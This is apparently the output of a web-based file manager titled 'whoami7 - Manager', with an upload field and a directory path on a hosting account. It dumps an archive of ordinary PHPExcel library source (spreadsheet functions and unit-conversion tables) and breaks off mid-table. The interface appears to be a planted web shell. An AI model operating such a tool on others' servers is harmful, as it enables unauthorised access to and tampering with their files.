whoami7 - Manager
:
/
home
/
papecmvm
/
public_html
/
documents
/
6204_Rajpara
/
2020
/
k_november
/
receipt
/
Upload File:
files >> //home/papecmvm/public_html/documents/6204_Rajpara/2020/k_november/receipt/libraries.tar
PHPExcel/Calculation/Functions.php 0000644 00000050263 14642534107 0013107 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** MAX_VALUE */ define('MAX_VALUE', 1.2e308); /** 2 / PI */ define('M_2DIVPI', 0.63661977236758134307553505349006); /** MAX_ITERATIONS */ define('MAX_ITERATIONS', 256); /** PRECISION */ define('PRECISION', 8.88E-016); /** * PHPExcel_Calculation_Functions * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_Functions { /** constants */ const COMPATIBILITY_EXCEL = 'Excel'; const COMPATIBILITY_GNUMERIC = 'Gnumeric'; const COMPATIBILITY_OPENOFFICE = 'OpenOfficeCalc'; const RETURNDATE_PHP_NUMERIC = 'P'; const RETURNDATE_PHP_OBJECT = 'O'; const RETURNDATE_EXCEL = 'E'; /** * Compatibility mode to use for error checking and responses * * @access private * @var string */ protected static $compatibilityMode = self::COMPATIBILITY_EXCEL; /** * Data Type to use when returning date values * * @access private * @var string */ protected static $returnDateType = self::RETURNDATE_EXCEL; /** * List of error codes * * @access private * @var array */ protected static $errorCodes = array( 'null' => '#NULL!', 'divisionbyzero' => '#DIV/0!', 'value' => '#VALUE!', 'reference' => '#REF!', 'name' => '#NAME?', 'num' => '#NUM!', 'na' => '#N/A', 'gettingdata' => '#GETTING_DATA' ); /** * Set the Compatibility Mode * * @access public * @category Function Configuration * @param string $compatibilityMode Compatibility Mode * Permitted values are: * PHPExcel_Calculation_Functions::COMPATIBILITY_EXCEL 'Excel' * PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC 'Gnumeric' * PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE 'OpenOfficeCalc' * @return boolean (Success or Failure) */ public static function setCompatibilityMode($compatibilityMode) { if (($compatibilityMode == self::COMPATIBILITY_EXCEL) || ($compatibilityMode == self::COMPATIBILITY_GNUMERIC) || ($compatibilityMode == self::COMPATIBILITY_OPENOFFICE)) { self::$compatibilityMode = $compatibilityMode; return true; } return false; } /** * Return the current Compatibility Mode * * @access public * @category Function Configuration * @return string Compatibility Mode * Possible Return values are: * PHPExcel_Calculation_Functions::COMPATIBILITY_EXCEL 'Excel' * PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC 'Gnumeric' * PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE 'OpenOfficeCalc' */ public static function getCompatibilityMode() { return self::$compatibilityMode; } /** * Set the Return Date Format used by functions that return a date/time (Excel, PHP Serialized Numeric or PHP Object) * * @access public * @category Function Configuration * @param string $returnDateType Return Date Format * Permitted values are: * PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC 'P' * PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT 'O' * PHPExcel_Calculation_Functions::RETURNDATE_EXCEL 'E' * @return boolean Success or failure */ public static function setReturnDateType($returnDateType) { if (($returnDateType == self::RETURNDATE_PHP_NUMERIC) || ($returnDateType == self::RETURNDATE_PHP_OBJECT) || ($returnDateType == self::RETURNDATE_EXCEL)) { self::$returnDateType = $returnDateType; return true; } return false; } /** * Return the current Return Date Format for functions that return a date/time (Excel, PHP Serialized Numeric or PHP Object) * * @access public * @category Function Configuration * @return string Return Date Format * Possible Return values are: * PHPExcel_Calculation_Functions::RETURNDATE_PHP_NUMERIC 'P' * PHPExcel_Calculation_Functions::RETURNDATE_PHP_OBJECT 'O' * PHPExcel_Calculation_Functions::RETURNDATE_EXCEL 'E' */ public static function getReturnDateType() { return self::$returnDateType; } /** * DUMMY * * @access public * @category Error Returns * @return string #Not Yet Implemented */ public static function DUMMY() { return '#Not Yet Implemented'; } /** * DIV0 * * @access public * @category Error Returns * @return string #Not Yet Implemented */ public static function DIV0() { return self::$errorCodes['divisionbyzero']; } /** * NA * * Excel Function: * =NA() * * Returns the error value #N/A * #N/A is the error value that means "no value is available." * * @access public * @category Logical Functions * @return string #N/A! */ public static function NA() { return self::$errorCodes['na']; } /** * NaN * * Returns the error value #NUM! * * @access public * @category Error Returns * @return string #NUM! */ public static function NaN() { return self::$errorCodes['num']; } /** * NAME * * Returns the error value #NAME? * * @access public * @category Error Returns * @return string #NAME? */ public static function NAME() { return self::$errorCodes['name']; } /** * REF * * Returns the error value #REF! * * @access public * @category Error Returns * @return string #REF! */ public static function REF() { return self::$errorCodes['reference']; } /** * NULL * * Returns the error value #NULL! * * @access public * @category Error Returns * @return string #NULL! */ public static function NULL() { return self::$errorCodes['null']; } /** * VALUE * * Returns the error value #VALUE! * * @access public * @category Error Returns * @return string #VALUE! */ public static function VALUE() { return self::$errorCodes['value']; } public static function isMatrixValue($idx) { return ((substr_count($idx, '.') <= 1) || (preg_match('/\.[A-Z]/', $idx) > 0)); } public static function isValue($idx) { return (substr_count($idx, '.') == 0); } public static function isCellValue($idx) { return (substr_count($idx, '.') > 1); } public static function ifCondition($condition) { $condition = PHPExcel_Calculation_Functions::flattenSingleValue($condition); if (!isset($condition{0})) { $condition = '=""'; } if (!in_array($condition{0}, array('>', '<', '='))) { if (!is_numeric($condition)) { $condition = PHPExcel_Calculation::wrapResult(strtoupper($condition)); } return '=' . $condition; } else { preg_match('/([<>=]+)(.*)/', $condition, $matches); list(, $operator, $operand) = $matches; if (!is_numeric($operand)) { $operand = str_replace('"', '""', $operand); $operand = PHPExcel_Calculation::wrapResult(strtoupper($operand)); } return $operator.$operand; } } /** * ERROR_TYPE * * @param mixed $value Value to check * @return boolean */ public static function ERROR_TYPE($value = '') { $value = self::flattenSingleValue($value); $i = 1; foreach (self::$errorCodes as $errorCode) { if ($value === $errorCode) { return $i; } ++$i; } return self::NA(); } /** * IS_BLANK * * @param mixed $value Value to check * @return boolean */ public static function IS_BLANK($value = null) { if (!is_null($value)) { $value = self::flattenSingleValue($value); } return is_null($value); } /** * IS_ERR * * @param mixed $value Value to check * @return boolean */ public static function IS_ERR($value = '') { $value = self::flattenSingleValue($value); return self::IS_ERROR($value) && (!self::IS_NA($value)); } /** * IS_ERROR * * @param mixed $value Value to check * @return boolean */ public static function IS_ERROR($value = '') { $value = self::flattenSingleValue($value); if (!is_string($value)) { return false; } return in_array($value, array_values(self::$errorCodes)); } /** * IS_NA * * @param mixed $value Value to check * @return boolean */ public static function IS_NA($value = '') { $value = self::flattenSingleValue($value); return ($value === self::NA()); } /** * IS_EVEN * * @param mixed $value Value to check * @return boolean */ public static function IS_EVEN($value = null) { $value = self::flattenSingleValue($value); if ($value === null) { return self::NAME(); } elseif ((is_bool($value)) || ((is_string($value)) && (!is_numeric($value)))) { return self::VALUE(); } return ($value % 2 == 0); } /** * IS_ODD * * @param mixed $value Value to check * @return boolean */ public static function IS_ODD($value = null) { $value = self::flattenSingleValue($value); if ($value === null) { return self::NAME(); } elseif ((is_bool($value)) || ((is_string($value)) && (!is_numeric($value)))) { return self::VALUE(); } return (abs($value) % 2 == 1); } /** * IS_NUMBER * * @param mixed $value Value to check * @return boolean */ public static function IS_NUMBER($value = null) { $value = self::flattenSingleValue($value); if (is_string($value)) { return false; } return is_numeric($value); } /** * IS_LOGICAL * * @param mixed $value Value to check * @return boolean */ public static function IS_LOGICAL($value = null) { $value = self::flattenSingleValue($value); return is_bool($value); } /** * IS_TEXT * * @param mixed $value Value to check * @return boolean */ public static function IS_TEXT($value = null) { $value = self::flattenSingleValue($value); return (is_string($value) && !self::IS_ERROR($value)); } /** * IS_NONTEXT * * @param mixed $value Value to check * @return boolean */ public static function IS_NONTEXT($value = null) { return !self::IS_TEXT($value); } /** * VERSION * * @return string Version information */ public static function VERSION() { return 'PHPExcel ##VERSION##, ##DATE##'; } /** * N * * Returns a value converted to a number * * @param value The value you want converted * @return number N converts values listed in the following table * If value is or refers to N returns * A number That number * A date The serial number of that date * TRUE 1 * FALSE 0 * An error value The error value * Anything else 0 */ public static function N($value = null) { while (is_array($value)) { $value = array_shift($value); } switch (gettype($value)) { case 'double': case 'float': case 'integer': return $value; case 'boolean': return (integer) $value; case 'string': // Errors if ((strlen($value) > 0) && ($value{0} == '#')) { return $value; } break; } return 0; } /** * TYPE * * Returns a number that identifies the type of a value * * @param value The value you want tested * @return number N converts values listed in the following table * If value is or refers to N returns * A number 1 * Text 2 * Logical Value 4 * An error value 16 * Array or Matrix 64 */ public static function TYPE($value = null) { $value = self::flattenArrayIndexed($value); if (is_array($value) && (count($value) > 1)) { end($value); $a = key($value); // Range of cells is an error if (self::isCellValue($a)) { return 16; // Test for Matrix } elseif (self::isMatrixValue($a)) { return 64; } } elseif (empty($value)) { // Empty Cell return 1; } $value = self::flattenSingleValue($value); if (($value === null) || (is_float($value)) || (is_int($value))) { return 1; } elseif (is_bool($value)) { return 4; } elseif (is_array($value)) { return 64; } elseif (is_string($value)) { // Errors if ((strlen($value) > 0) && ($value{0} == '#')) { return 16; } return 2; } return 0; } /** * Convert a multi-dimensional array to a simple 1-dimensional array * * @param array $array Array to be flattened * @return array Flattened array */ public static function flattenArray($array) { if (!is_array($array)) { return (array) $array; } $arrayValues = array(); foreach ($array as $value) { if (is_array($value)) { foreach ($value as $val) { if (is_array($val)) { foreach ($val as $v) { $arrayValues[] = $v; } } else { $arrayValues[] = $val; } } } else { $arrayValues[] = $value; } } return $arrayValues; } /** * Convert a multi-dimensional array to a simple 1-dimensional array, but retain an element of indexing * * @param array $array Array to be flattened * @return array Flattened array */ public static function flattenArrayIndexed($array) { if (!is_array($array)) { return (array) $array; } $arrayValues = array(); foreach ($array as $k1 => $value) { if (is_array($value)) { foreach ($value as $k2 => $val) { if (is_array($val)) { foreach ($val as $k3 => $v) { $arrayValues[$k1.'.'.$k2.'.'.$k3] = $v; } } else { $arrayValues[$k1.'.'.$k2] = $val; } } } else { $arrayValues[$k1] = $value; } } return $arrayValues; } /** * Convert an array to a single scalar value by extracting the first element * * @param mixed $value Array or scalar value * @return mixed */ public static function flattenSingleValue($value = '') { while (is_array($value)) { $value = array_pop($value); } return $value; } } // // There are a few mathematical functions that aren't available on all versions of PHP for all platforms // These functions aren't available in Windows implementations of PHP prior to version 5.3.0 // So we test if they do exist for this version of PHP/operating platform; and if not we create them // if (!function_exists('acosh')) { function acosh($x) { return 2 * log(sqrt(($x + 1) / 2) + sqrt(($x - 1) / 2)); } // function acosh() } if (!function_exists('asinh')) { function asinh($x) { return log($x + sqrt(1 + $x * $x)); } // function asinh() } if (!function_exists('atanh')) { function atanh($x) { return (log(1 + $x) - log(1 - $x)) / 2; } // function atanh() } // // Strangely, PHP doesn't have a mb_str_replace multibyte function // As we'll only ever use this function with UTF-8 characters, we can simply "hard-code" the character set // if ((!function_exists('mb_str_replace')) && (function_exists('mb_substr')) && (function_exists('mb_strlen')) && (function_exists('mb_strpos'))) { function mb_str_replace($search, $replace, $subject) { if (is_array($subject)) { $ret = array(); foreach ($subject as $key => $val) { $ret[$key] = mb_str_replace($search, $replace, $val); } return $ret; } foreach ((array) $search as $key => $s) { if ($s == '' && $s !== 0) { continue; } $r = !is_array($replace) ? $replace : (array_key_exists($key, $replace) ? $replace[$key] : ''); $pos = mb_strpos($subject, $s, 0, 'UTF-8'); while ($pos !== false) { $subject = mb_substr($subject, 0, $pos, 'UTF-8') . $r . mb_substr($subject, $pos + mb_strlen($s, 'UTF-8'), 65535, 'UTF-8'); $pos = mb_strpos($subject, $s, $pos + mb_strlen($r, 'UTF-8'), 'UTF-8'); } } return $subject; } } PHPExcel/Calculation/Engineering.php 0000644 00000330214 14642534107 0013366 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** EULER */ define('EULER', 2.71828182845904523536); /** * PHPExcel_Calculation_Engineering * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_Engineering { /** * Details of the Units of measure that can be used in CONVERTUOM() * * @var mixed[] */ private static $conversionUnits = array( 'g' => array('Group' => 'Mass', 'Unit Name' => 'Gram', 'AllowPrefix' => true), 'sg' => array('Group' => 'Mass', 'Unit Name' => 'Slug', 'AllowPrefix' => false), 'lbm' => array('Group' => 'Mass', 'Unit Name' => 'Pound mass (avoirdupois)', 'AllowPrefix' => false), 'u' => array('Group' => 'Mass', 'Unit Name' => 'U (atomic mass unit)', 'AllowPrefix' => true), 'ozm' => array('Group' => 'Mass', 'Unit Name' => 'Ounce mass (avoirdupois)', 'AllowPrefix' => false), 'm' => array('Group' => 'Distance', 'Unit Name' => 'Meter', 'AllowPrefix' => true), 'mi' => array('Group' => 'Distance', 'Unit Name' => 'Statute mile', 'AllowPrefix' => false), 'Nmi' => array('Group' => 'Distance', 'Unit Name' => 'Nautical mile', 'AllowPrefix' => false), 'in' => array('Group' => 'Distance', 'Unit Name' => 'Inch', 'AllowPrefix' => false), 'ft' => array('Group' => 'Distance', 'Unit Name' => 'Foot', 'AllowPrefix' => false), 'yd' => array('Group' => 'Distance', 'Unit Name' => 'Yard', 'AllowPrefix' => false), 'ang' => array('Group' => 'Distance', 'Unit Name' => 'Angstrom', 'AllowPrefix' => true), 'Pica' => array('Group' => 'Distance', 'Unit Name' => 'Pica (1/72 in)', 'AllowPrefix' => false), 'yr' => array('Group' => 'Time', 'Unit Name' => 'Year', 'AllowPrefix' => false), 'day' => array('Group' => 'Time', 'Unit Name' => 'Day', 'AllowPrefix' => false), 'hr' => array('Group' => 'Time', 'Unit Name' => 'Hour', 'AllowPrefix' => false), 'mn' => array('Group' => 'Time', 'Unit Name' => 'Minute', 'AllowPrefix' => false), 'sec' => array('Group' => 'Time', 'Unit Name' => 'Second', 'AllowPrefix' => true), 'Pa' => array('Group' => 'Pressure', 'Unit Name' => 'Pascal', 'AllowPrefix' => true), 'p' => array('Group' => 'Pressure', 'Unit Name' => 'Pascal', 'AllowPrefix' => true), 'atm' => array('Group' => 'Pressure', 'Unit Name' => 'Atmosphere', 'AllowPrefix' => true), 'at' => array('Group' => 'Pressure', 'Unit Name' => 'Atmosphere', 'AllowPrefix' => true), 'mmHg' => array('Group' => 'Pressure', 'Unit Name' => 'mm of Mercury', 'AllowPrefix' => true), 'N' => array('Group' => 'Force', 'Unit Name' => 'Newton', 'AllowPrefix' => true), 'dyn' => array('Group' => 'Force', 'Unit Name' => 'Dyne', 'AllowPrefix' => true), 'dy' => array('Group' => 'Force', 'Unit Name' => 'Dyne', 'AllowPrefix' => true), 'lbf' => array('Group' => 'Force', 'Unit Name' => 'Pound force', 'AllowPrefix' => false), 'J' => array('Group' => 'Energy', 'Unit Name' => 'Joule', 'AllowPrefix' => true), 'e' => array('Group' => 'Energy', 'Unit Name' => 'Erg', 'AllowPrefix' => true), 'c' => array('Group' => 'Energy', 'Unit Name' => 'Thermodynamic calorie', 'AllowPrefix' => true), 'cal' => array('Group' => 'Energy', 'Unit Name' => 'IT calorie', 'AllowPrefix' => true), 'eV' => array('Group' => 'Energy', 'Unit Name' => 'Electron volt', 'AllowPrefix' => true), 'ev' => array('Group' => 'Energy', 'Unit Name' => 'Electron volt', 'AllowPrefix' => true), 'HPh' => array('Group' => 'Energy', 'Unit Name' => 'Horsepower-hour', 'AllowPrefix' => false), 'hh' => array('Group' => 'Energy', 'Unit Name' => 'Horsepower-hour', 'AllowPrefix' => false), 'Wh' => array('Group' => 'Energy', 'Unit Name' => 'Watt-hour', 'AllowPrefix' => true), 'wh' => array('Group' => 'Energy', 'Unit Name' => 'Watt-hour', 'AllowPrefix' => true), 'flb' => array('Group' => 'Energy', 'Unit Name' => 'Foot-pound', 'AllowPrefix' => false), 'BTU' => array('Group' => 'Energy', 'Unit Name' => 'BTU', 'AllowPrefix' => false), 'btu' => array('Group' => 'Energy', 'Unit Name' => 'BTU', 'AllowPrefix' => false), 'HP' => array('Group' => 'Power', 'Unit Name' => 'Horsepower', 'AllowPrefix' => false), 'h' => array('Group' => 'Power', 'Unit Name' => 'Horsepower', 'AllowPrefix' => false), 'W' => array('Group' => 'Power', 'Unit Name' => 'Watt', 'AllowPrefix' => true), 'w' => array('Group' => 'Power', 'Unit Name' => 'Watt', 'AllowPrefix' => true), 'T' => array('Group' => 'Magnetism', 'Unit Name' => 'Tesla', 'AllowPrefix' => true), 'ga' => array('Group' => 'Magnetism', 'Unit Name' => 'Gauss', 'AllowPrefix' => true), 'C' => array('Group' => 'Temperature', 'Unit Name' => 'Celsius', 'AllowPrefix' => false), 'cel' => array('Group' => 'Temperature', 'Unit Name' => 'Celsius', 'AllowPrefix' => false), 'F' => array('Group' => 'Temperature', 'Unit Name' => 'Fahrenheit', 'AllowPrefix' => false), 'fah' => array('Group' => 'Temperature', 'Unit Name' => 'Fahrenheit', 'AllowPrefix' => false), 'K' => array('Group' => 'Temperature', 'Unit Name' => 'Kelvin', 'AllowPrefix' => false), 'kel' => array('Group' => 'Temperature', 'Unit Name' => 'Kelvin', 'AllowPrefix' => false), 'tsp' => array('Group' => 'Liquid', 'Unit Name' => 'Teaspoon', 'AllowPrefix' => false), 'tbs' => array('Group' => 'Liquid', 'Unit Name' => 'Tablespoon', 'AllowPrefix' => false), 'oz' => array('Group' => 'Liquid', 'Unit Name' => 'Fluid Ounce', 'AllowPrefix' => false), 'cup' => array('Group' => 'Liquid', 'Unit Name' => 'Cup', 'AllowPrefix' => false), 'pt' => array('Group' => 'Liquid', 'Unit Name' => 'U.S. Pint', 'AllowPrefix' => false), 'us_pt' => array('Group' => 'Liquid', 'Unit Name' => 'U.S. Pint', 'AllowPrefix' => false), 'uk_pt' => array('Group' => 'Liquid', 'Unit Name' => 'U.K. Pint', 'AllowPrefix' => false), 'qt' => array('Group' => 'Liquid', 'Unit Name' => 'Quart', 'AllowPrefix' => false), 'gal' => array('Group' => 'Liquid', 'Unit Name' => 'Gallon', 'AllowPrefix' => false), 'l' => array('Group' => 'Liquid', 'Unit Name' => 'Litre', 'AllowPrefix' => true), 'lt' => array('Group' => 'Liquid', 'Unit Name' => 'Litre', 'AllowPrefix' => true), ); /** * Details of the Multiplier prefixes that can be used with Units of Measure in CONVERTUOM() * * @var mixed[] */ private static $conversionMultipliers = array( 'Y' => array('multiplier' => 1E24, 'name' => 'yotta'), 'Z' => array('multiplier' => 1E21, 'name' => 'zetta'), 'E' => array('multiplier' => 1E18, 'name' => 'exa'), 'P' => array('multiplier' => 1E15, 'name' => 'peta'), 'T' => array('multiplier' => 1E12, 'name' => 'tera'), 'G' => array('multiplier' => 1E9, 'name' => 'giga'), 'M' => array('multiplier' => 1E6, 'name' => 'mega'), 'k' => array('multiplier' => 1E3, 'name' => 'kilo'), 'h' => array('multiplier' => 1E2, 'name' => 'hecto'), 'e' => array('multiplier' => 1E1, 'name' => 'deka'), 'd' => array('multiplier' => 1E-1, 'name' => 'deci'), 'c' => array('multiplier' => 1E-2, 'name' => 'centi'), 'm' => array('multiplier' => 1E-3, 'name' => 'milli'), 'u' => array('multiplier' => 1E-6, 'name' => 'micro'), 'n' => array('multiplier' => 1E-9, 'name' => 'nano'), 'p' => array('multiplier' => 1E-12, 'name' => 'pico'), 'f' => array('multiplier' => 1E-15, 'name' => 'femto'), 'a' => array('multiplier' => 1E-18, 'name' => 'atto'), 'z' => array('multiplier' => 1E-21, 'name' => 'zepto'), 'y' => array('multiplier' => 1E-24, 'name' => 'yocto'), ); /** * Details of the Units of measure conversion factors, organised by group * * @var mixed[] */ private static $unitConversions = array( 'Mass' => array( 'g' => array( 'g' => 1.0, 'sg' => 6.85220500053478E-05, 'lbm' => 2.20462291469134E-03, 'u' => 6.02217000000000E+23, 'ozm' => 3.52739718003627E-02, ), 'sg' => array( 'g' => 1.45938424189287E+04, 'sg' => 1.0, 'lbm' => 3.21739194101647E+01, 'u' => 8.78866000000000E+27, 'ozm' => 5.14782785944229E+02, ), 'lbm' => array( 'g' => 4.5359230974881148E+02, 'sg' => 3.10810749306493E-02, 'lbm' => 1.0, 'u' => 2.73161000000000E+26, 'ozm' => 1.60000023429410E+01, ), 'u' => array( 'g' => 1.66053100460465E-24, 'sg' => 1.13782988532950E-28, 'lbm' => 3.66084470330684E-27, 'u' => 1.0, 'ozm' => 5.85735238300524E-26, ), 'ozm' => array( 'g' => 2.83495152079732E+01, 'sg' => 1.94256689870811E-03, 'lbm' => 6.24999908478882E-02, 'u' => 1.70725600000000E+25, 'ozm' => 1.0, ), ), 'Distance' => array( 'm' => array( 'm' => 1.0, 'mi' => 6.21371192237334E-04, 'Nmi' => 5.39956803455724E-04, 'in' => 3.93700787401575E+01, 'ft' => 3.28083989501312E+00, 'yd' => 1.09361329797891E+00, 'ang' => 1.00000000000000E+10, 'Pica' => 2.83464566929116E+03, ), 'mi' => array( 'm' => 1.60934400000000E+03, 'mi' => 1.0, 'Nmi' => 8.68976241900648E-01, 'in' => 6.33600000000000E+04, 'ft' => 5.28000000000000E+03, 'yd' => 1.76000000000000E+03, 'ang' => 1.60934400000000E+13, 'Pica' => 4.56191999999971E+06, ), 'Nmi' => array( 'm' => 1.85200000000000E+03, 'mi' => 1.15077944802354E+00, 'Nmi' => 1.0, 'in' => 7.29133858267717E+04, 'ft' => 6.07611548556430E+03, 'yd' => 2.02537182785694E+03, 'ang' => 1.85200000000000E+13, 'Pica' => 5.24976377952723E+06, ), 'in' => array( 'm' => 2.54000000000000E-02, 'mi' => 1.57828282828283E-05, 'Nmi' => 1.37149028077754E-05, 'in' => 1.0, 'ft' => 8.33333333333333E-02, 'yd' => 2.77777777686643E-02, 'ang' => 2.54000000000000E+08, 'Pica' => 7.19999999999955E+01, ), 'ft' => array( 'm' => 3.04800000000000E-01, 'mi' => 1.89393939393939E-04, 'Nmi' => 1.64578833693305E-04, 'in' => 1.20000000000000E+01, 'ft' => 1.0, 'yd' => 3.33333333223972E-01, 'ang' => 3.04800000000000E+09, 'Pica' => 8.63999999999946E+02, ), 'yd' => array( 'm' => 9.14400000300000E-01, 'mi' => 5.68181818368230E-04, 'Nmi' => 4.93736501241901E-04, 'in' => 3.60000000118110E+01, 'ft' => 3.00000000000000E+00, 'yd' => 1.0, 'ang' => 9.14400000300000E+09, 'Pica' => 2.59200000085023E+03, ), 'ang' => array( 'm' => 1.00000000000000E-10, 'mi' => 6.21371192237334E-14, 'Nmi' => 5.39956803455724E-14, 'in' => 3.93700787401575E-09, 'ft' => 3.28083989501312E-10, 'yd' => 1.09361329797891E-10, 'ang' => 1.0, 'Pica' => 2.83464566929116E-07, ), 'Pica' => array( 'm' => 3.52777777777800E-04, 'mi' => 2.19205948372629E-07, 'Nmi' => 1.90484761219114E-07, 'in' => 1.38888888888898E-02, 'ft' => 1.15740740740748E-03, 'yd' => 3.85802469009251E-04, 'ang' => 3.52777777777800E+06, 'Pica' => 1.0, ), ), 'Time' => array( 'yr' => array( 'yr' => 1.0, 'day' => 365.25, 'hr' => 8766.0, 'mn' => 525960.0, 'sec' => 31557600.0, ), 'day' => array( 'yr' => 2.73785078713210E-03, 'day' => 1.0, 'hr' => 24.0, 'mn' => 1440.0, 'sec' => 86400.0, ), 'hr' => array( 'yr' => 1.14077116130504E-04, 'day' => 4.16666666666667E-02, 'hr' => 1.0, 'mn' => 60.0, 'sec' => 3600.0, ), 'mn' => array( 'yr' => 1.90128526884174E-06, 'day' => 6.94444444444444E-04, 'hr' => 1.66666666666667E-02, 'mn' => 1.0, 'sec' => 60.0, ), 'sec' => array( 'yr' => 3.16880878140289E-08, 'day' => 1.15740740740741E-05, 'hr' => 2.77777777777778E-04, 'mn' => 1.66666666666667E-02, 'sec' => 1.0, ), ), 'Pressure' => array( 'Pa' => array( 'Pa' => 1.0, 'p' => 1.0, 'atm' => 9.86923299998193E-06, 'at' => 9.86923299998193E-06, 'mmHg' => 7.50061707998627E-03, ), 'p' => array( 'Pa' => 1.0, 'p' => 1.0, 'atm' => 9.86923299998193E-06, 'at' => 9.86923299998193E-06, 'mmHg' => 7.50061707998627E-03, ), 'atm' => array( 'Pa' => 1.01324996583000E+05, 'p' => 1.01324996583000E+05, 'atm' => 1.0, 'at' => 1.0, 'mmHg' => 760.0, ), 'at' => array( 'Pa' => 1.01324996583000E+05, 'p' => 1.01324996583000E+05, 'atm' => 1.0, 'at' => 1.0, 'mmHg' => 760.0, ), 'mmHg' => array( 'Pa' => 1.33322363925000E+02, 'p' => 1.33322363925000E+02, 'atm' => 1.31578947368421E-03, 'at' => 1.31578947368421E-03, 'mmHg' => 1.0, ), ), 'Force' => array( 'N' => array( 'N' => 1.0, 'dyn' => 1.0E+5, 'dy' => 1.0E+5, 'lbf' => 2.24808923655339E-01, ), 'dyn' => array( 'N' => 1.0E-5, 'dyn' => 1.0, 'dy' => 1.0, 'lbf' => 2.24808923655339E-06, ), 'dy' => array( 'N' => 1.0E-5, 'dyn' => 1.0, 'dy' => 1.0, 'lbf' => 2.24808923655339E-06, ), 'lbf' => array( 'N' => 4.448222, 'dyn' => 4.448222E+5, 'dy' => 4.448222E+5, 'lbf' => 1.0, ), ), 'Energy' => array( 'J' => array( 'J' => 1.0, 'e' => 9.99999519343231E+06, 'c' => 2.39006249473467E-01, 'cal' => 2.38846190642017E-01, 'eV' => 6.24145700000000E+18, 'ev' => 6.24145700000000E+18, 'HPh' => 3.72506430801000E-07, 'hh' => 3.72506430801000E-07, 'Wh' => 2.77777916238711E-04, 'wh' => 2.77777916238711E-04, 'flb' => 2.37304222192651E+01, 'BTU' => 9.47815067349015E-04, 'btu' => 9.47815067349015E-04, ), 'e' => array( 'J' => 1.00000048065700E-07, 'e' => 1.0, 'c' => 2.39006364353494E-08, 'cal' => 2.38846305445111E-08, 'eV' => 6.24146000000000E+11, 'ev' => 6.24146000000000E+11, 'HPh' => 3.72506609848824E-14, 'hh' => 3.72506609848824E-14, 'Wh' => 2.77778049754611E-11, 'wh' => 2.77778049754611E-11, 'flb' => 2.37304336254586E-06, 'BTU' => 9.47815522922962E-11, 'btu' => 9.47815522922962E-11, ), 'c' => array( 'J' => 4.18399101363672E+00, 'e' => 4.18398900257312E+07, 'c' => 1.0, 'cal' => 9.99330315287563E-01, 'eV' => 2.61142000000000E+19, 'ev' => 2.61142000000000E+19, 'HPh' => 1.55856355899327E-06, 'hh' => 1.55856355899327E-06, 'Wh' => 1.16222030532950E-03, 'wh' => 1.16222030532950E-03, 'flb' => 9.92878733152102E+01, 'BTU' => 3.96564972437776E-03, 'btu' => 3.96564972437776E-03, ), 'cal' => array( 'J' => 4.18679484613929E+00, 'e' => 4.18679283372801E+07, 'c' => 1.00067013349059E+00, 'cal' => 1.0, 'eV' => 2.61317000000000E+19, 'ev' => 2.61317000000000E+19, 'HPh' => 1.55960800463137E-06, 'hh' => 1.55960800463137E-06, 'Wh' => 1.16299914807955E-03, 'wh' => 1.16299914807955E-03, 'flb' => 9.93544094443283E+01, 'BTU' => 3.96830723907002E-03, 'btu' => 3.96830723907002E-03, ), 'eV' => array( 'J' => 1.60219000146921E-19, 'e' => 1.60218923136574E-12, 'c' => 3.82933423195043E-20, 'cal' => 3.82676978535648E-20, 'eV' => 1.0, 'ev' => 1.0, 'HPh' => 5.96826078912344E-26, 'hh' => 5.96826078912344E-26, 'Wh' => 4.45053000026614E-23, 'wh' => 4.45053000026614E-23, 'flb' => 3.80206452103492E-18, 'BTU' => 1.51857982414846E-22, 'btu' => 1.51857982414846E-22, ), 'ev' => array( 'J' => 1.60219000146921E-19, 'e' => 1.60218923136574E-12, 'c' => 3.82933423195043E-20, 'cal' => 3.82676978535648E-20, 'eV' => 1.0, 'ev' => 1.0, 'HPh' => 5.96826078912344E-26, 'hh' => 5.96826078912344E-26, 'Wh' => 4.45053000026614E-23, 'wh' => 4.45053000026614E-23, 'flb' => 3.80206452103492E-18, 'BTU' => 1.51857982414846E-22, 'btu' => 1.51857982414846E-22, ), 'HPh' => array( 'J' => 2.68451741316170E+06, 'e' => 2.68451612283024E+13, 'c' => 